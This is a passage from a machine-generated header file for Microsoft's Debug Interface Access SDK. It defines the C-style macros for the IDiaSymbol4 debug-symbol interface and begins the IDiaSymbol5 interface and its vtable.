get_undecoratedName(This,pRetVal) ) #define IDiaSymbol4_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol4_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol4_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol4_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol4_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol4_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol4_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol4_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol4_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol4_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol4_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol4_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol4_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol4_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol4_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol4_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol4_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol4_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol4_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol4_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol4_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol4_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol4_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol4_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol4_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol4_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol4_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol4_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol4_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol4_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol4_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol4_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol4_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol4_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol4_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol4_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol4_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol4_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol4_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol4_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol4_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol4_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol4_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol4_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol4_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol4_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol4_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol4_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol4_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol4_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol4_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol4_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol4_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol4_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol4_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol4_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol4_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol4_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol4_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol4_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol4_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol4_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol4_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol4_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol4_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol4_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol4_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol4_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol4_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol4_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol4_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol4_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol4_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol4_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol4_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol4_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol4_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol4_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol4_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol4_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol4_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol4_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol4_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol4_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol4_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol4_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol4_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol4_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol4_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol4_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol4_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol4_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol4_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol4_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol4_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol4_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol4_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol4_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol4_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol4_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol4_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol4_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol4_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol4_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol4_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol4_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol4_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol4_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol4_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol4_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol4_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol4_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol4_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol4_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol4_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol4_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol4_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol4_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol4_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol4_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol4_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol4_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol4_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol4_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol4_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol4_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol4_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol4_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol4_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol4_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol4_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol4_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol4_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol4_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol4_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol4_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol4_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol4_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol4_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol4_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol4_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol4_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol4_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol4_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol4_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol4_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol4_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol4_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol4_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol4_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol4_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol4_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol4_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol4_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol4_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol4_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol4_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol4_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol4_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol4_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol4_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol4_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol4_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol4_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol4_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol4_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol4_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol4_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol4_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol4_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol4_get_noexcept_Proxy( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol4_get_noexcept_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol4_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol5_INTERFACE_DEFINED__ #define __IDiaSymbol5_INTERFACE_DEFINED__ /* interface IDiaSymbol5 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol5; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("abe2de00-dc2d-4793-af9a-ef1d90832644") IDiaSymbol5 : public IDiaSymbol4 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasAbsoluteAddress( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol5Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol5 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol5 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol5 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol5 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol5 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( 